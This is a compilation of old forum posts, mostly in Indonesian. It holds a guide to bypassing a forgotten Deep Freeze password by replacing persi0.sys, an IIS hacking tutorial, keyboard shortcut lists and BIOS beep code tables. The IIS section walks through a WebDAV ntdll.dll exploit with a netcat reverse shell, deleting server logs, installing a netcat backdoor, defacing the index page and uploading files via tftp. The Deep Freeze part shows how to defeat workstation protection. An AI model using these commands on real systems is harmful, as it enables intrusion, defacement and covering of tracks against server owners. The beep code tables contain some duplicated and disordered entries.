0 ANTI DEFREZE

.
Deep Freeze adalah salah satu program "pengaman" yang paling populer di warnet. Program ini memang cukup powerfull dalam menghadapi virus maupun tingkah laku usil pengunjung warnet. Apapun perubahan yang dilakukan oleh virus maupun pengunjung akan dikembalikan seperti kondisi semula oleh DF.

Sayangnya karena terlena oleh kemudahan ini, beberapa admin warnet kadang jadi lupa dengan password DF, akibatnya admin kebingungan ketika hendak menginstall program baru karena program tersebut akan ditendang lagi oleg Deep Freeze.

Berikut ini salah satu cara untuk mereset password DeepFreeze yang sudah saya coba dengan DF 5 dan DF 6.


Untuk DF 5 :

1. Install Df di kompie lain yang tidak terproteksi dengan DF. Set passwordnya sesuka anda. Agar saat ini rekan-rekan dengan saya, kita anggap saja password barunya adalah "bakmi"(tanpa tanda kutip).

2.Untuk DF 5, password DF tersebut disimpan di file bernama Persi0.sys yang terletak di drive C

Cara mereset passwordnya logikanya lumayan gampang seh : Kita replace saja file persi0.sys lama yang passwordnya kita lupa dengan file persi0.sys baru yang tentu saja passwordnya kita tahu karena baru saja kita buat.

3. hanya saja sampe saat ini proses mereplace ini setahu saya ternyata nggak gampang-gampang amat karena belum ada yang bisa melakukan dalam normal windows. (Bagi rekan-rekan yang tahu caranya silakan memberi masukan ). File persi0.sys tidak mau ditindih dengan file persi0.sys baru dalam normal wondows karena terproteksi oleh DF yang sedang berjalan.

4. Karena file persi0.sys tidak bisa diganggu gugat dalam normal windows maka kita terpaksa mencari cara lain. Anda bisa mencoba memakai sistem operasi lain, sistem operasi portabel, dan sebagainya untuk mereplace file persi0.sys. Tetapi saya pribadi cukup puas dengan memakai Recovery Consol milik Windows XP Prof Edition.

5. Anggap saja kita memakai CD Windows XP Professional untuk masuk DOS versi XP(Recovery Console Windows XP). Restart komputer. Set BIOS untuk boot lewat CD. Tekan enter untuk masuk CD Windows. Tunggu sampai muncul tulisan Windows XP Professional Setup. Muncul 3 pilihan : To Setup Windows XP Now, press Enter ; To repair a Windows XP installation using Recovery Console, press R ; To quit setup without installing Windows XP, press F3. Pilih/tekan R (to repair) untuk masuk ke dalam Recovery Console.

6. Isikan password admin anda. Bila dulu saat anda menginstall, tidak memasang password, tinggal tekan enter. Muncul prompt : C:Windows>

7.Copi file Persi0.sys dengan nama lain. Karena file Persi0.sys menyimpan password Bakmi, maka pada contoh ini file persi0.sys saya copi menjadi Bakmi.sys.

C:Windows> cd c: ---- pindah direktori ke C:

C:>copy persi0.sys Bakmi.sys ---- copi persi0.sys dengan nama lain

C:>exit ---- keluar

8. Masuk windows normal, copikan file Bakmi.sys di komputer teman anda tersebut ke dalam CD atau USB.

9. Selanjutnya masuk komputer anda yang DeepFreeze-nya terpassword. Copikan file bakmi.sys yang sudah anda buat ke dalam drive yang tidak diproteksi oleh DeepFreeze. Bila drive C diproteksi oleh DeepFreeze maka jangan masukkan bakmi.sys ke drive C, karena file ini akan dihapus oleh DeepFreeze. Anggap saja kita kopikan bakmi.sys ke drive D. Windows Recovery Console seperti cara sebelumnya. Rename file persi0.sys dengan nama lain. Copikan file bakmi.sys di drive D menjadi persi0.sys di drive C.

C:Windows>cd c: ----- pindah direktori

C:>ren persi0.sys Cp_persi0.sys ----- rename persi0.sys dengan nama lain

C:>copy d:Bakmi.sys c:persi0.sys ----- copy file baru menjadi persi0.sys

C:>exit

10. Masuk Windows, Masuk program DeepFreeze(konfigurasi) : Tekan Ctrl+Shift pada keyboard sambil mengklik icon DeepFreeze di Taskbar. Muncul kotak password. Isikan dengan password yang baru saja anda buat yaitu : Bakmi. Anda sudah bisa masuk file konfigurasi, tanpa perlu menginstall ulang DeepFreeze.Tanpa perlu install ulang windows.

Catatan :
Bila anda melakukan cara yang lebih ekstrim, seperti menghapus/merename file persi0.sys tanpa menggantikannya dengan file lain maka ada resiko system menjadi tidak stabil atau icon DeepFreeze-nya malah hilang dari Taskbar.

Ide-ide di atas bisa anda coba, bila DeepFreeze anda mengalami kerusakan sehingga meskipun anda ingat passwordnya tetapi program DeepFreeze itu sendiri hilang lenyap tidak tampak di Taskbar dan tidak bisa dipanggil. Kemungkinan besar ada file yang corrupt, bisa jadi file tersebut adalah file persi0.sys. Coba lakukan cara yang sama.


Untuk Deep Freeze versi 6 :

Caranya persis sama dengan Deep Freeze versi 5. Hanya saja untuk versi tertentu namanya lain yaitu $persi0.sys. Jadi kalau untuk DF versi 5 yang harus anda replace adalah file persi0.sys untuk DF versi 6 file yang harus anda replace adalah $persi0.sys (ada tambahan tanda dollar di depan).

Lha cara mereplacenya tentunya suka-suka anda, mau pake Linux, mau pake DOS, pake sistem oparasi portabel ya terserah situlah. Pada contoh ini saya cukup memanfaatkan Recovery Consolnya XP saja, karena nggak merasa butuh program lain.

Source: JatimCrew

3 Hacking Dengan IIS

.
Pertama-tama sebelum melakukan, biar saya jelaskan kepada anda bahwa hacking atau deface menggunakan suatu exploit yang sudah ada di internet hanya akan menjadikan anda seorang lamer atau perusak. Anda seringkali mendapati orang-orang ini melakukan deface terhadap ratusan situs. Nah, mereka ini bukanlah hacker, melainkan script kiddies, karena mereka menggunakan code yang dibuat orang lain untuk mendeface situs. Hacker yang sejati adalah orang yang menciptakan code exploit dalam ‘0 day’. Dan saya sarankan kepada anda agar JANGAN PERNAH MENJADI SCRIPT KIDDIES untuk memperoleh sedikit ketenaran dan merasa bangga dengan hal tersebut!!!

Mari dimulai. Pertamakali tujuan kita untuk melakukan penetrasi adalah menemukan suatu hole. Webserver IIS berisikan banyak celah keamanan yang jika dieksploitasi dengan sesuai dapat memberikan seorang hacker kendali penuh atas sistem tersebut. Celah keamanan yang umum adalah buffer overflow, yakni mengeksploitasi format string. Apakah “Buffer Overflow” itu adalah soal yang lain dan memerlukan artikel tersendiri. Atau lebih baik silakan anda baca terbitan Phrack 49 (www.phrack.com) dengan judul “Smashing The Stack For Fun and Profit”. Disana istilah buffer overflow dijelaskan berdasarkan sudut pandang Linux.

Ok, karena webserver IIS menyimpan banyak celah keamanan eksploitasi buffer overflow. Hanya dalam 2 tahun terakhir ini e-eye digital defence team (http://www.eeye.com/) melaporkan adanya buffer overflow pada seluruh ekstensi ISAPI pada IIS Webserver.

Sebagai contoh suatu request http://www.iissite.com/a.idq?aaaaaaaa….aa

Sekarang, kapanpun webserver iis mendapatkan request berupa file seperti .idq atau .asp dsb selain .html request dipenuhi oleh file .dll yang spesifik pada webserver. Namun jika seorang hacker mengirimkan request berupa string panjang dari aaa dan mencari angka yang tepat dimana suatu buffer overflow terjadi, maka dia dapat menyesuaikan shell code ditempat tersebut dan menyebabkan shell codenya dieksekusi pada remote machine.

Catatan: Suatu shell code merupakan kode assembly yang memberikan command prompt pada Win 2000 dan shell jika pada Linux.

Tapi saat pertanyaan diajukan mengenai hacking website, kita memerlukan penemuan bug sebelumnya. Kaerna kebanyakan server yang dipatch untuk bug yang ditemukan sebelumnya. Pada dasarnya bug .idq ditemukan dua tahun terakhir tidak akan bekerja hari ini karena kebanyakan server Win 2000 telah dipatch dengan service pack sp3, sp4. Jadi saat ini yang kita perlukan adalah bug terakhir atau dalam dunia perhackingan dinamakan dengan “0day exploit”. Tempat terbaik untuk mencari exploit adalah www.packetstormsecurity.nl, situs ini secara konsisten memuat exploit, code, advisory yang terbaru. Tempat lainnya seperti www.k-otic.com/exploit atau cara terbaik adalah mencari dibagian 0day exploit pada situs kami www.hackersprogrammers.com. Sekarang ini sangat banyak 0day yang sengaja tidak pernah dipublikasikan!!! Dan hanya ditujukan untuk komunitas underground atau orang-orang tertentu yang dikenal sebagai hacker. Untuk mendapatkan exploit yang baik, anda perlu mengadakan kontak dengan hacker yang baik dan berbakat di internet. Dan pilihan terbaik adalah code yang anda buat sendiri (jika anda mampu) maka dengan ini anda mampu menghack berbagai webserver IIS di seluruh dunia!!! J

=> Mengeksploitasi celah keamanan dan Mengendalikan webserver

Ini bagian yang paling menarik. Compile code exploit anda dengan Visual C++ jika berupa kode win c atau gunakan gcc jika berupa kode linux. Jika anda tidak mengetahui hal ini, lebih baik mendownload exploit berbasis GUI dari internet (ini semakin menunjukkan bahwa anda seorang lamer). OK, sekarang sebagai contoh exploit webdave ntdll.dll yang ditemukan 3-4 bulan terakhir. Masih banyaknya server yang vulnerable untuk ini. Terakhir saat salya menuliskan artikel ini ditemukan bug terbaru berupa RPC DCOM oleh LSD. Namun bug RPC DCOM tidak akan bekerja dalam kasus ini karena firewall pada server akan memblok seluruh packet terhadap port 135. Setelah anda melihat-lihat webdave exploit, downloadlah exploit Kralor Webdave. Compile dan download exploit kralor yang berbasis GUI. Shellcode ini berupa jenis yang spesifik. Shellcode yang digunakan exploit Kralor memberikan suatu reverse shell. Artinya setelah berhasil mengeksploitasi server tersebut akan terhubung ke computer anda melalui suatu command shell!!! Jadi anda memerlukan netcat listener untuk ‘mendengar’ port spesifik pada computer anda. Download tool netcat dari internet dan masuk ke DOS prompt, ketik sebagai berikut:

D:\nc>nc -Lvp 6666

Listening on [any] 6666 ….

Well, sekarang computer beraksi sebagai suatu server di port 6666 dan listening terhadap berbagai incoming request. Sekarang compile exploit kralor atau gunakan yang berbasis GUI, kemudian masuk ke DOS prompt dan ketik.

D:\vcproject\webdave\debug>web.exe

[Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt]

www.coromputer.net && undernet #coromputer

syntax: D:\WEB.EXE [padding]

Cool !!! Jadi apa yang harus anda lakukan? Masih bingung? OK, saya sarankan, jika anda ingin menghack suatu server, carilah ip dengan melakukan ping dari DOS. Misalkan ip 123.123.123.123 dan ip kita 200.200.200.200. Pastikan netcat menjalankan beberapa port seperti 6666 dan ketik perintah pada Dos Prompt yang baru:

D:\vcproject\webdave\debug>web.exe 123.123.123.123 200.200.200.200 6666

Terdapat padding bit yang berbeda. Dalam kasus exploit berbasis GUI dapat melakukannya sendiri, atau membaca kometar dalam exploit tersebut untuk mendapatkan suatu ide mengenai apa padding bit tersebut dan bagaimana cara menggunakannya. Setelah berhasil mengeksploitasi anda akan mendapatkan shell pada netcat listener anda.

D:\nc>nc -Lvp 6666

Listening on [any] 6666 ….

connect to 200.200.200.200 from 123.123.123.123

Microsoft(R) Windows 2000

(C)Copyright Microsoft Corp 1981-2000.

C:\winnt\system32>

Selamat!! Jadi anda berhasil mengeksploitasi bug ntdll.dll pada remote server. Command prompt telah kita dapatkan pada netcat listener yang merupakan command prompt pada remote server.

=> Apa yang harus dilakuklansetelah melakukan hacking suatu server?

Pertama kali yang terpenting yang harus dilakukan setelah melakukan hacking berbagai server di dunia internet adalah menghapus log tersebut. Setelah kita memiliki HTTP Port 80 untuk menghack, kita perlu menghapus log IIS. Direktorinya dalam hal ini ada di C:\winnt\system32\logfiles . Jadi pada shell tersebut anda tinggal mengetik.

C:\winnt\system32> rmdir /s /q logfiles

Yang menghapus direktori log file, file dan folder yang terdapat dalam direktori tersebut.

Catatan: Ini merupakan cara yang buruk dalam menghapus file log. Admin dapat langsung mengetahui bahwa seseorang telah menghacking servernya. Cara lain yang terbaik adalah masuk kedalam direktori logfile dan cari file log yang spesifik dan menghapus hanya pada baris ayng berisikan ip anda.

Sekarang, setelah megnhapus log file. Anda dapat bermain-main dengan server tersebut. Seluruh server berada dalam kendali anda. Hal terbaik adalah menginstall suatu backdoor pada server tersebut. Membua backdoor senfiri atau sebagai gantinya mengupload netcat apda server tersebut dan menjadinnya listen pada beberapa port yang spesifik dan anda juga dapat menambahkan entri dalam registri jadi dapat tetap dalam keadaan listening bahkan setelah server tersebut direstart.

Langkah berikutnya, misalkan anda ingin mendeface situs tersebut, maka carilah direktori webrootnya. Direktori default biasanya adalah C:\inetpub\wwwroot, disana anda akan menemukan file seperti index.html, index.asp, default.html dan file-file lain seperti itu. Jika ada, maka anda sudah berada pada direktori yang dimaksud. Sekarang tinggal membackup file index.html nya. Perintahnya adalah sebagai berikut:

C:\inetpub\wwwroot> copy index.html indexold.html

C:\inetpub\wwwroot> echo defaced by Chintan Trivedi > index.html

Wah !! Akhirnya anda berhasil mendeface situs tersebut. Jika anda ingin mengupload file anda sendiri ke server tersebut, maka anda harus memiliki TFTP server pada sistem anda. Jalankan dan ketik ketik perintah remote shell berikut:

C:\inetpub\wwwroot> tftp 200.200.200.200 GET index.html

Perintah ini akan mengupload file index.html anda ke web server. Oh ya, contoh diatas dengan anggapan 200.200.200.200 menjadi ip anda. Dan ingatlah mengenai satu hal penting. Webdave exploit dapat menyebabkan crash pada server IIS. Jadi situs tidak akan terbuka dan anda tidak dapat melihat halaman yang terdeface L Jangan khawatir, ada cara untuk merestart IIS pada remote system tersebut, yaitu:

C:\inetpub\wwwroot> iisreset /restart /rebootonerror /timeout:100

Tunggulah sebentar dan bukalah situs tersebut, misalnya www.target.com dan lihat halaman yang telah anda deface!!! Nah ini semua hanyalah satu contoh hacking webserver menggunakan webdave exploit. Terus memperbarui sesi 0day anda di www.hackersprogrammers.com dengan 0day exploit terbaru. Setiap exploit bekerja dengan caranya masing-masing. Anda dapat melihat penjelasan yang tersedia pada exploit tersebut jika anda bukan seorang script kiddie.

=> Kesimpulan

Hal yang perlu saya katakan kepada anda bahwa hacking atau mendeface melalui exploit ‘siap-pakai’ yang tersedia di internet adalah tindakan merusak. Janganlah dilakukan terus menerus. Melakukan hacking suatu server hanya jika anda memang memiliki alasan kuat untuk melakukannya dan anda benar-benar mengetahui apa yang sedang anda lakukan. Jika anda melakukan hacking secara membabi-buta anda hanya akan menyebabkan berbagai kerusakan, kebencian dan tidak memahami bagaimana dunia ini bekerja.

Dan untuk admin: jika anda ingin melindungi server anda dari hacker, maka langkah terbaik adalah tetap mengupdate dengan service pack terakhir yang disediakan oleh Microsoft. Kedua, kapanpun server anda dihack atau terdeface, silakan periksa pada sistem anda, apakah telah terinstall backdoor, rootkit. Kalau ada, hapuslah. Ketiga menjaga direktori file log dari seseorang yang tidak berhak. IIS menyediakan fasilitas untuk mengubah direktori file log. Tapi dalam berbagai kasus, tetap saja pencegahan jauh lebih baik daripada penyembuhan.

Source: BinusHacker.Net

4 Best Keyboard Shortcuts

.
Getting used to using your keyboard exclusively and leaving your mouse behind will make you much more efficient at performing any task on any Windows system. I use the following keyboard shortcuts every day:
Windows key + R = Run menu

This is usually followed by:
cmd = Command Prompt
iexplore + "web address" = Internet Explorer
compmgmt.msc = Computer Management
dhcpmgmt.msc = DHCP Management
dnsmgmt.msc = DNS Management
services.msc = Services
eventvwr = Event Viewer
dsa.msc = Active Directory Users and Computers
dssite.msc = Active Directory Sites and Services
Windows key + E = Explorer

ALT + Tab = Switch between windows

ALT, Space, X = Maximize window

CTRL + Shift + Esc = Task Manager

Windows key + Break = System properties

Windows key + F = Search

Windows key + D = Hide/Display all windows

CTRL + C = copy

CTRL + X = cut

CTRL + V = paste

Also don't forget about the "Right-click" key next to the right Windows key on your keyboard. Using the arrows and that key can get just about anything done once you've opened up any program.


Keyboard Shortcuts

[Alt] and [Esc] Switch between running applications

[Alt] and letter Select menu item by underlined letter

[Ctrl] and [Esc] Open Program Menu

[Ctrl] and [F4] Close active document or group windows (does not work with some applications)

[Alt] and [F4] Quit active application or close current window

[Alt] and [-] Open Control menu for active document

Ctrl] Lft., Rt. arrow Move cursor forward or back one word

Ctrl] Up, Down arrow Move cursor forward or back one paragraph

[F1] Open Help for active application

Windows+M Minimize all open windows

Shift+Windows+M Undo minimize all open windows

Windows+F1 Open Windows Help

Windows+Tab Cycle through the Taskbar buttons

Windows+Break Open the System Properties dialog box



acessability shortcuts

Right SHIFT for eight seconds........ Switch FilterKeys on and off.

Left ALT +left SHIFT +PRINT SCREEN....... Switch High Contrast on and off.

Left ALT +left SHIFT +NUM LOCK....... Switch MouseKeys on and off.

SHIFT....... five times Switch StickyKeys on and off.

NUM LOCK...... for five seconds Switch ToggleKeys on and off.

explorer shortcuts

END....... Display the bottom of the active window.

HOME....... Display the top of the active window.

NUM LOCK+ASTERISK....... on numeric keypad (*) Display all subfolders under the selected folder.

NUM LOCK+PLUS SIGN....... on numeric keypad (+) Display the contents of the selected folder.

NUM LOCK+MINUS SIGN....... on numeric keypad (-) Collapse the selected folder.

LEFT ARROW...... Collapse current selection if it's expanded, or select parent folder.

RIGHT ARROW....... Display current selection if it's collapsed, or select first subfolder.




Type the following commands in your Run Box (Windows Key + R) or Start Run

devmgmt.msc = Device Manager
msinfo32 = System Information
cleanmgr = Disk Cleanup
ntbackup = Backup or Restore Wizard (Windows Backup Utility)
mmc = Microsoft Management Console
excel = Microsoft Excel (If Installed)
msaccess = Microsoft Access (If Installed)
powerpnt = Microsoft PowerPoint (If Installed)
winword = Microsoft Word (If Installed)
frontpg = Microsoft FrontPage (If Installed)
notepad = Notepad
wordpad = WordPad
calc = Calculator
msmsgs = Windows Messenger
mspaint = Microsoft Paint
wmplayer = Windows Media Player
rstrui = System Restore
netscp6 = Netscape 6.x
netscp = Netscape 7.x
netscape = Netscape 4.x
waol = America Online
control = Opens the Control Panel
control printers = Opens the Printers Dialog


internetbrowser

type in u're adress "google", then press [Right CTRL] and [Enter]
add www. and .com to word and go to it


For Windows XP:

Copy. CTRL+C
Cut. CTRL+X
Paste. CTRL+V
Undo. CTRL+Z
Delete. DELETE
Delete selected item permanently without placing the item in the Recycle Bin. SHIFT+DELETE
Copy selected item. CTRL while dragging an item
Create shortcut to selected item. CTRL+SHIFT while dragging an item
Rename selected item. F2
Move the insertion point to the beginning of the next word. CTRL+RIGHT ARROW
Move the insertion point to the beginning of the previous word. CTRL+LEFT ARROW
Move the insertion point to the beginning of the next paragraph. CTRL+DOWN ARROW
Move the insertion point to the beginning of the previous paragraph. CTRL+UP ARROW
Highlight a block of text. CTRL+SHIFT with any of the arrow keys
Select more than one item in a window or on the desktop, or select text within a document. SHIFT with any of the arrow keys
Select all. CTRL+A
Search for a file or folder. F3
View properties for the selected item. ALT+ENTER
Close the active item, or quit the active program. ALT+F4
Opens the shortcut menu for the active window. ALT+SPACEBAR
Close the active document in programs that allow you to have multiple documents open simultaneously. CTRL+F4
Switch between open items. ALT+TAB
Cycle through items in the order they were opened. ALT+ESC
Cycle through screen elements in a window or on the desktop. F6
Display the Address bar list in My Computer or Windows Explorer. F4
Display the shortcut menu for the selected item. SHIFT+F10
Display the System menu for the active window. ALT+SPACEBAR
Display the Start menu. CTRL+ESC
Display the corresponding menu. ALT+Underlined letter in a menu name
Carry out the corresponding command. Underlined letter in a command name on an open menu
Activate the menu bar in the active program. F10
Open the next menu to the right, or open a submenu. RIGHT ARROW
Open the next menu to the left, or close a submenu. LEFT ARROW
Refresh the active window. F5
View the folder one level up in My Computer or Windows Explorer. BACKSPACE
Cancel the current task. ESC
SHIFT when you insert a CD into the CD-ROM drive Prevent the CD from automatically playing.

Use these keyboard shortcuts for dialog boxes:

To Press
Move forward through tabs. CTRL+TAB
Move backward through tabs. CTRL+SHIFT+TAB
Move forward through options. TAB
Move backward through options. SHIFT+TAB
Carry out the corresponding command or select the corresponding option. ALT+Underlined letter
Carry out the command for the active option or button. ENTER
Select or clear the check box if the active option is a check box. SPACEBAR
Select a button if the active option is a group of option buttons. Arrow keys
Display Help. F1
Display the items in the active list. F4
Open a folder one level up if a folder is selected in the Save As or Open dialog box. BACKSPACE

If you have a Microsoft Natural Keyboard, or any other compatible keyboard that includes the Windows logo key and the Application key , you can use these keyboard shortcuts:


Display or hide the Start menu. WIN Key
Display the System Properties dialog box. WIN Key+BREAK
Show the desktop. WIN Key+D
Minimize all windows. WIN Key+M
Restores minimized windows. WIN Key+Shift+M
Open My Computer. WIN Key+E
Search for a file or folder. WIN Key+F
Search for computers. CTRL+WIN Key+F
Display Windows Help. WIN Key+F1
Lock your computer if you are connected to a network domain, or switch users if you are not connected to a network domain. WIN Key+ L
Open the Run dialog box. WIN Key+R
Open Utility Manager. WIN Key+U

accessibility keyboard shortcuts:

Switch FilterKeys on and off. Right SHIFT for eight seconds
Switch High Contrast on and off. Left ALT+left SHIFT+PRINT SCREEN
Switch MouseKeys on and off. Left ALT +left SHIFT +NUM LOCK
Switch StickyKeys on and off. SHIFT five times
Switch ToggleKeys on and off. NUM LOCK for five seconds
Open Utility Manager. WIN Key+U

shortcuts you can use with Windows Explorer:


Display the bottom of the active window. END
Display the top of the active window. HOME
Display all subfolders under the selected folder. NUM LOCK+ASTERISK on numeric keypad (*)
Display the contents of the selected folder. NUM LOCK+PLUS SIGN on numeric keypad (+)
Collapse the selected folder. NUM LOCK+MINUS SIGN on numeric keypad (-)
Collapse current selection if it's expanded, or select parent folder. LEFT ARROW
Display current selection if it's collapsed, or select first subfolder. RIGHT ARROW

1 Beep Codes Error Codes

.
After repeated requests for beep codes i have decided to post them here maybe they could be pinned

Standard Original IBM POST Error Codes
Code Description

1 short beep System is OK
2 short beeps POST Error - error code shown on screen No beep Power supply or system board problem Continuous beep Power supply, system board, or keyboard problem Repeating short beeps Power supply or system board problem
1 long, 1 short beep System board problem
1 long, 2 short beeps Display adapter problem (MDA, CGA)
1 long, 3 short beeps Display adapter problem (EGA)
3 long beeps 3270 keyboard card

IBM POST Diagnostic Code Descriptions
Code Description
100 - 199 System Board
200 - 299 Memory
300 - 399 Keyboard
400 - 499 Monochrome Display
500 - 599 Colour/Graphics Display
600 - 699 Floppy-disk drive and/or Adapter
700 - 799 Math Coprocessor
900 - 999 Parallel Printer Port
1000 - 1099 Alternate Printer Adapter
1100 - 1299 Asynchronous Communication Device, Adapter, or Port
1300 - 1399 Game Port
1400 - 1499 Colour/Graphics Printer
1500 - 1599 Synchronous Communication Device, Adapter, or Port
1700 - 1799 Hard Drive and/or Adapter
1800 - 1899 Expansion Unit (XT)
2000 - 2199 Bisynchronous Communication Adapter
2400 - 2599 EGA system-board Video (MCA)
3000 - 3199 LAN Adapter
4800 - 4999 Internal Modem
7000 - 7099 Phoenix BIOS Chips
7300 - 7399 3.5" Disk Drive
8900 - 8999 MIDI Adapter
11200 - 11299 SCSI Adapter
21000 - 21099 SCSI Fixed Disk and Controller
21500 - 21599 SCSI CD-ROM System

AMI BIOS Beep Codes
Code Description

1 Short Beep System OK
2 Short Beeps Parity error in the first 64 KB of memory
3 Short Beeps Memory failure in the first 64 KB
4 Short Beeps Memory failure in the first 64 KB Operational of memory
or Timer 1 on the motherboard is not functioning
5 Short Beeps The CPU on the motherboard generated an error
6 Short Beeps The keyboard controller may be bad. The BIOS cannot switch to protected mode
7 Short Beeps The CPU generated an exception interrupt
8 Short Beeps The system video adapter is either missing, or its memory is faulty
9 Short Beeps The ROM checksum value does not match the value encoded in the BIOS
10 Short Beeps The shutdown register for CMOS RAM failed
11 Short Beeps The external cache is faulty
1 Long, 3 Short Beeps Memory Problems
1 Long, 8 Short Beeps Video Card Problems

Phoenix BIOS Beep Codes
Note - Phoenix BIOS emits three sets of beeps, separated by a brief pause.

Code Description
1-1-3 CMOS read/write failure
1-1-4 ROM BIOS checksum error
1-2-1 Programmable interval timer failure
1-2-2 DMA initialisation failure
1-2-3 DMA page register read/write failure
1-3-1 RAM refresh verification failure
1-3-3 First 64k RAM chip or data line failure
1-3-4 First 64k RAM odd/even logic failure
1-4-1 Address line failure first 64k RAM
1-4-2 Parity failure first 64k RAM
2-_-_ Faulty Memory
3-1-_ Faulty Motherboard
3-2-4 Keyboard controller Test failure
3-3-4 Screen initialisation failure
3-4-1 Screen retrace test failure
3-4-2 Search for video ROM in progress
4-2-1 Timer tick interrupt in progress or failure
4-2-2 Shutdown test in progress or failure
4-2-3 Gate A20 failure
4-2-4 Unexpected interrupt in protected mode
4-3-1 RAM test in progress or failure>ffffh
4-3-2 Faulty Motherboard
4-3-3 Interval timer channel 2 test or failure
4-3-4 Time of Day clock test failure
4-4-1 Serial port test or failure
4-4-2 Parallel port test or failure
4-4-3 Math coprocessor test or failure
Low 1-1-2 System Board select failure
Low 1-1-3 Extended CMOS RAM failure

0 Beep Code Manual

.
Better Than Gold Techies, American Megatrends Int. & Phoenix

(I'm IT, I use these codes to trouble shoot hardware issues at my job. Enjoy) cold.gif

BIOS Beep Codes

When a computer is first turned on, or rebooted, its BIOS performs a power-on self test (POST) to test the system's hardware, checking to make sure that all of the system's hardware components are working properly. Under normal circumstances, the POST will display an error message; however, if the BIOS detects an error before it can access the video card, or if there is a problem with the video card, it will produce a series of beeps, and the pattern of the beeps indicates what kind of problem the BIOS has detected.
Because there are many brands of BIOS, there are no standard beep codes for every BIOS.


The two most-used brands are AMI (American Megatrends International) and Phoenix.

Below are listed the beep codes for AMI systems, and here are the beep codes for Phoenix systems.


AMI Beep Codes

Beep Code Meaning
1 beep DRAM refresh failure. There is a problem in the system memory or the motherboard.
2 beeps Memory parity error. The parity circuit is not working properly.
3 beeps Base 64K RAM failure. There is a problem with the first 64K of system memory.
4 beeps System timer not operational. There is problem with the timer(s) that control functions on the motherboard.
5 beeps Processor failure. The system CPU has failed.
6 beeps Gate A20/keyboard controller failure. The keyboard IC controller has failed, preventing gate A20 from switching the processor to protect mode.
7 beeps Virtual mode exception error.
8 beeps Video memory error. The BIOS cannot write to the frame buffer memory on the video card.
9 beeps ROM checksum error. The BIOS ROM chip on the motherboard is likely faulty.
10 beeps CMOS checksum error. Something on the motherboard is causing an error when trying to interact with the CMOS.
11 beeps Bad cache memory. An error in the level 2 cache memory.
1 long beep, 2 short Failure in the video system.
1 long beep, 3 short A failure has been detected in memory above 64K.
1 long beep, 8 short Display test failure.
Continuous beeping A problem with the memory or video.
BIOS Beep Codes


Phoenix Beep Codes

Phoenix uses sequences of beeps to indicate problems. The "-" between each number below indicates a pause between each beep sequence. For example, 1-2-3 indicates one beep, followed by a pause and two beeps, followed by a pause and three beeps. Phoenix version before 4.x use 3-beep codes, while Phoenix versions starting with 4.x use 4-beep codes. Click here for AMI BIOS beep codes.
4-Beep Codes
Beep Code Meaning
1-1-1-3 Faulty CPU/motherboard. Verify real mode.
1-1-2-1 Faulty CPU/motherboard.
1-1-2-3 Faulty motherboard or one of its components.
1-1-3-1 Faulty motherboard or one of its components. Initialize chipset registers with initial POST values.
1-1-3-2 Faulty motherboard or one of its components.
1-1-3-3 Faulty motherboard or one of its components. Initialize CPU registers.
1-1-3-2
1-1-3-3
1-1-3-4 Failure in the first 64K of memory.
1-1-4-1 Level 2 cache error.
1-1-4-3 I/O port error.
1-2-1-1 Power management error.
1-2-1-2
1-2-1-3 Faulty motherboard or one of its components.
1-2-2-1 Keyboard controller failure.
1-2-2-3 BIOS ROM error.
1-2-3-1 System timer error.
1-2-3-3 DMA error.
1-2-4-1 IRQ controller error.
1-3-1-1 DRAM refresh error.
1-3-1-3 A20 gate failure.
1-3-2-1 Faulty motherboard or one of its components.
1-3-3-1 Extended memory error.
1-3-3-3
1-3-4-1
1-3-4-3 Error in first 1MB of system memory.
1-4-1-3
1-4-2-4 CPU error.
1-4-3-1
2-1-4-1 BIOS ROM shadow error.
1-4-3-2
1-4-3-3 Level 2 cache error.
1-4-4-1
1-4-4-2
2-1-1-1 Faulty motherboard or one of its components.
2-1-1-3
2-1-2-1 IRQ failure.
2-1-2-3 BIOS ROM error.
2-1-2-4
2-1-3-2 I/O port failure.
2-1-3-1
2-1-3-3 Video system failure.
2-1-1-3
2-1-2-1 IRQ failure.
2-1-2-3 BIOS ROM error.
2-1-2-4 I/O port failure.
2-1-4-3
2-2-1-1 Video card failure.
2-2-1-3
2-2-2-1
2-2-2-3 Keyboard controller failure.
2-2-3-1 IRQ error.
2-2-4-1 Error in first 1MB of system memory.
2-3-1-1
2-3-3-3 Extended memory failure.
2-3-2-1 Faulty motherboard or one of its components.
2-3-2-3
2-3-3-1 Level 2 cache error.
2-3-4-1
2-3-4-3 Motherboard or video card failure.
2-3-4-1
2-3-4-3
2-4-1-1 Motherboard or video card failure.
2-4-1-3 Faulty motherboard or one of its components.
2-4-2-1 RTC error.
2-4-2-3 Keyboard controller error.
2-4-4-1 IRQ error.
3-1-1-1
3-1-1-3
3-1-2-1
3-1-2-3 I/O port error.
3-1-3-1
3-1-3-3 Faulty motherboard or one of its components.
3-1-4-1
3-2-1-1
3-2-1-2 Floppy drive or hard drive failure.
3-2-1-3 Faulty motherboard or one of its components.
3-2-2-1 Keyboard controller error.
3-2-2-3
3-2-3-1
3-2-4-1 Faulty motherboard or one of its components.
3-2-4-3 IRQ error.
3-3-1-1 RTC error.
3-3-1-3 Key lock error.
3-3-3-3 Faulty motherboard or one of its components.
3-3-3-3
3-3-4-1
3-3-4-3
3-4-1-1
3-4-1-3
3-4-2-1
3-4-2-3
3-4-3-1
3-4-4-1
3-4-4-4 Faulty motherboard or one of its components.
4-1-1-1 Floppy drive or hard drive failure.
4-2-1-1
4-2-1-3
4-2-2-1 IRQ failure.
4-2-2-3
4-2-3-1
4-2-3-3
4-2-4-1 Faulty motherboard or one of its components.
4-2-4-3 Keyboard controller error.
4-3-1-3
4-3-1-4
4-3-2-1
4-3-2-2
4-3-3-1
4-3-4-1
4-3-4-3 Faulty motherboard or one of its components.
4-3-3-2
4-3-3-4 IRQ failure.
4-3-3-3
4-3-4-2 Floppy drive or hard drive failure.
3-Beep Codes
Beep Code Meaning
1-1-2 Faulty CPU/motherboard.
1-1-3 Faulty motherboard/CMOS read-write failure.
1-1-4 Faulty BIOS/BIOS ROM checksum error.
1-2-1 System timer not operational. There is a problem with the timer(s) that control functions on the motherboard.
1-2-2
1-2-3 Faulty motherboard/DMA failure.
1-3-1 Memory refresh failure.
1-3-2
1-3-3
1-3-4 Failure in the first 64K of memory.
1-4-1 Address line failure.
1-4-2 Parity RAM failure.
1-4-3 Timer failure.
1-4-4 NMI port failure.
2-_-_ Any combination of beeps after 2 indicates a failure in the first 64K of memory.
3-1-1 Master DMA failure.
3-1-2 Slave DMA failure.
3-1-3
3-1-4 Interrupt controller failure.
3-2-4 Keyboard controller failure.
3-3-1
3-3-2 CMOS error.
